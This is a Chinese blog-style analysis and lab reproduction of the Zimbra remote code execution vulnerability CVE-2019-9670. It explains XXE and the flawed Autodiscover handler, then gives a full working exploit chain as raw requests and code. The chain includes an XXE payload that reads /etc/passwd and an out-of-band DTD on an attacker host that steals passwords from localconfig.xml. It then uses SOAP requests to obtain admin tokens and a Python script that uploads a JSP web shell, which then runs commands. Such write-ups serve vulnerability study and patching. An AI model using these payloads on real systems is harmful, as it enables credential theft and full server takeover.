Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
漏洞简介
漏洞影响范围
Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。 Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
漏洞环境搭建
此次采用本地环境搭建的方式进行,因为vulhub没有这个靶场,搭建环境比较复杂,具体步骤查看https://blog.csdn.net/sxr__nc/article/details/130115884?spm=1001.2014.3001.5502
漏洞复现
(此处只针对漏洞是否存在进行复现验证)
使用bp向目标服务器发送如下数据包,其中利用接口如下:/Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 343
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
查看返回的数据包如下:

成功返回passwd文件内容.
漏洞原理分析
前置背景
关于XML注入漏洞
攻击方式
如下为正常的注册访问用户
<?xml version="1.0" encoding="UTF-8" <user role="guest">用户输入</user>
正常情况下的用户输入可以是如下格式:
<?xml version="1.0" encoding="UTF-8" <user role="guest">Admin</user> <?xml version="1.0" encoding="UTF-8" <user role="guest">test</user>
攻击者构造恶意数据可能是如下格式:
<?xml version="1.0" encoding="UTF-8" <user role="guest">test</user> <user role="admin">Hacker</user>
即攻击者在输入用户名数据的时候构造
关于XXE注入漏洞
概括一下就是"攻击者通过向服务器注入指定的
关于DTD
<?xml version="1.0"?>//这一行是 XML 文档定义 <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>
内部的 DOCTYPE 声明
假如
<!DOCTYPE root-element [element-declarations]>
带有
<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend</body> </note>
详细解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。 !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body" !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型 !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型 !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型 !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型 下边的数据即标识具体对应元素的数据
外部的 DOCTYPE 声明
如果
<!DOCTYPE root-element SYSTEM "filename">
带有外部DTD的XML文档示例:
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
其中外部
<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
关于DTD中的实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
1:实体引用是对实体的引用。
2:实体可在内部或外部进行声明。内部实体的声明:
语法:<!ENTITY entity-name "entity-value"> 示例: <!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright runoob.com"> 引用: <author>&writer;©right;</author>
外部实体的声明:
语法:<!ENTITY entity-name SYSTEM "URI/URL"> 示例: <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd"> 引用: <author>&writer;©right;</author> <!--这里的引用会直接获取到外部的dtd文件的内容-->
通用实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
<!--此处&file:即为参数实体,在DTD中定义为一个外部的实体-->
参数实体:
1.使用
2.只有在
3.和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
xxe漏洞原理
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
以上示例代码在解析的时候会提交两个主要参数,一个是
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
CVE-2019-9670在原理上和这个是相通的。
定位漏洞点
向
POST /Autodiscover/Autodiscover.xml HTTP/1.1 Host: 192.168.220.56 Connection: keep-alive Content-Length: 7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3 Accept: */* Origin: https://192.168.220.56 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://192.168.220.56/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: ZM_TEST=true;ZA_SKIN=serenity; <a></a>
查看返回的数据包:
HTTP/1.1 400 No Email address is specified in the Request Date: Thu, 06 Apr 2023 11:46:58 GMT Content-Type: text/html;charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 339 <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 400 No Email address is specified in the Request</title> </head> <body><h2>HTTP ERROR 400</h2> <p>Problem accessing /service/autodiscover/Autodiscover.xml. Reason: <pre> No Email address is specified in the Request</pre></p> </body> </html>
注意关键字:
使用反编译软件反编译

打开目标文件之后.定位到报错信息,可以发现这块的处理逻辑是由

doPost函数逻辑分析
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
·····················
NodeList nList = doc.getElementsByTagName("Request"); //获取request标签的内容
for (int i = 0; i < nList.getLength(); i++) {
Node node = nList.item(i);
if (node.getNodeType() == 1) {
Element element = (Element)node;
email = getTagValue("EMailAddress", element); //获取EMailAddress标签的内容
responseSchema = getTagValue("AcceptableResponseSchema", element);
if (email != null) //获取AcceptableResponseSchema标签的内容
break;
}
}
} catch (Exception e) { //处理异常 如果body体为空返回报错信息 Body cannot be parsed
log.warn("cannot parse body: %s", new Object[] { content });
sendError(resp, 400, "Body cannot be parsed");
return;
}
if (email == null || email.length() == 0) { //如果获取到的email地址为空,返回报错信息
log.warn("No Email address is specified in the Request, %s", new Object[] { content });
sendError(resp, 400, "No Email address is specified in the Request");
return;
} //对AcceptableResponseSchema内容进行判断,如果不满足条件,返回报错信息503并且返回AcceptableResponseSchema的内容。此处也正是造成XXE回显漏洞的关键点
if (responseSchema != null && responseSchema.length() > 0)
if (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006") && !responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")) {
log.warn("Requested response schema not available " + responseSchema);
sendError(resp, 503, "Requested response schema not available " + responseSchema);
return;
}
log.debug("Authenticating user");
······························
逻辑整理:通过分析
1:判断获取到的邮箱地址是否为空,为空或者长度为0,则返回400的报错信息,提示:请求的数据包中没有Email地址 2:判断AcceptableResponseSchema字段数据是否为空或者长度是否为0 3:判断AcceptableResponseSchema是否等于既定的数据,如果不等于则返回503的报错信息,与此同时返回AcceptableResponseSchema字段中的数据 和上边已经介绍过的XXE漏洞相同,在这里如果把引用的外部实体修改为敏感文件路径,就会直接获取到敏感文件的内容,同时回显出来
漏洞后续利用
前提条件
如果要想达到
获取关键配置文件信息
接下来利用上述
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
创建的

发送如下数据包:
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 409
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://192.168.220.124:8000/poc.dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
服务端的数据请求记录:

返回的数据包如下:成功获取到密码

获取低权限token
接下来的利用接口为:
发送的数据包如下:
POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 463
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>XXXX</password> //填写上边获取到的密码
</AuthRequest>
</soap:Body>
</soap:Envelope>
相应的数据包如下:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tVifX8yF-1681892776372)(image/image_7_qdd9FvyJT8.png)]](http://i2.wp.com/img-blog.csdnimg.cn/0a7a6e8b1a0b460c885e66de83e1ecc8.png)
获取高权限token
这里需要注意下:官方发出的通告声明,这里需要使用
PS:看一些资料提到需要将host后边添加端口号7071,我这里没有添加也可以获取到高权限的token |
POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 461
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>oD4I8Bnm</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
获取到的数据包内容如下:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j5v4iFEp-1681892776374)(image/image_8_LxsT053mxV.png)]](http://i2.wp.com/img-blog.csdnimg.cn/d4c0c617277f4de98bd9bb92c6fcb81f.png)
官方利用方式:利用SSRF漏洞完成
Post: /service/proxy?target=https://IP:7071/service/admin/soap
Ps:
(1)HOST:后面加端口7071
(2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token
(3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin
利用高权限token上传文件
import requests
file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"),
'requestId':(None,"12",None),}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_512db09799df40f318caa342dc61ce4d1b965fd9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638313133343531343539373b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3436303035343039303b76657273696f6e3d31333a382e372e375f47415f313738373b",#改成自己的admin_token
"Host":"foo:7071"}
r=requests.post("https://192.168.220.56:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)
print(r.text)
实现RCE
上传文件成功之后,访问地址
GET /downloads/sunian.jsp?pwd=023&i=ls HTTP/1.1 Host: 192.168.220.56:7071 Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
返回的数据包如下:

尝试执行其它命令:发送如下数据包:
GET /downloads/sunian.jsp?pwd=023&i=id HTTP/1.1 Host: 192.168.220.56:7071 Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
执行id命令,返回的数据包如下:

参考链接
https://xz.aliyun.com/t/7991
https://www.hacking8.com/bug-product/Zimbra/CVE-2019-9621-CVE-2019-9670-Zimbra-远程代码执行漏洞.html
https://coco413.com/archives/52/